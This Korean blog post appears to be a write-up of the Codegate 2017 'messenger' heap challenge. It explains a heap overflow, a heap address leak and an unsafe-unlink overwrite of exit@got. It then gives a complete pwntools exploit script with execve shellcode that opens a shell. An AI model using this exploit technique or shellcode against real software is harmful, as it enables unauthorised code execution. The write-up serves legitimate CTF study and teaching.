cdor1's lab
Codegate 2017 messenger 본문
오늘에서야 존재를 알았던 codegate 2017 예선에 나온 힙 문제이다.
(시작 메뉴가 참 이쁘다..ㅎ)
1번 메뉴는 힙에 공간을 할당하고 입력을 받는다.
2번 메뉴는 unlink를 직접 구현한 함수에서 delete과정이 수행된다.
3번 메뉴는 입력받은 부분을 수정할 수 있다.
4번 메뉴는 그 내용을 볼 수 있게 해준다.
여기서 heap overflow가 발생한다.
leave 메뉴로 할당한 사이즈의 공간은 고정적인데
change메뉴로 그 공간에 새로운 입력을 하려 할 때 크기를 마음대로 조정할 수 있다.
이를 통해서 unsafe_unlink를 트리거 하려고 한다.
이렇게 overflow를 활용해서 chunk1의 fd를 leak 해내서 heap의 주소를 알아낸다.
chunk0과 chunk1을 할당 후
chunk0에서 overflow시켜 chunk1의 fd와 bk를 exit@got와 leak돤 주소로 변경해서 exit@got를 chunk1주소로 overwrite 했다.
운좋게도 nx가 걸려있지 않아. chunk1에 jmp 0x18가젯과 nop_sled, shellcode를 활용해 쉘을 얻어냈다.
from pwn import *
#s = remote('localhost', 4000)
s = process('./messenger')
def leave(size, data):
print s.recvuntil('>> ')
s.sendline('L')
print s.recvuntil('size : ')
s.sendline(str(size))
print s.recvuntil('msg : ')
s.sendline(data)
def remove(idx):
print s.recvuntil('>> ')
s.sendline('R')
print s.recvuntil('index : ')
s.sendline(str(idx))
def change(idx, size, data):
print s.recvuntil('>> ')
s.sendline('C')
print s.recvuntil('index : ')
s.sendline(str(idx))
print s.recvuntil('size : ')
s.sendline(str(size))
print s.recvuntil('msg : ')
s.send(data)
def view(idx):
print s.recvuntil('>> ')
s.sendline('V')
print s.recvuntil('index : ')
s.sendline(str(idx))
leave(0x8, 'aaaa')
leave(0x8, 'bbbb')
change(0, 32, 'a'*32)
view(0)
print s.recvuntil('a'*32)
heap = u64(s.recv(3).ljust(8,'\x00'))
log.info('heap : ' + hex(heap))
payload = 'A'*32
payload += p64(0x602070 - 0x10)
payload += p64(heap - 0x10)
change(0, 48, payload)
payload = '\x90' * 8
payload += '\xeb\x16' + '\x00'*6
payload += '\x90'*100
payload += '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
change(1, len(payload), payload)
remove(1)
s.sendline()
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
seccon 2016 cheer_msg (0) | 2017.03.04 |
---|---|
33c3 CTF babyfengshui (0) | 2017.03.04 |
how2heap house of einherjar.c (0) | 2017.03.03 |
codegate 2017 3차 발표 준비 (0) | 2017.02.17 |
Plaid CTF 2013 ropasaurusrex (4) | 2017.02.16 |
Comments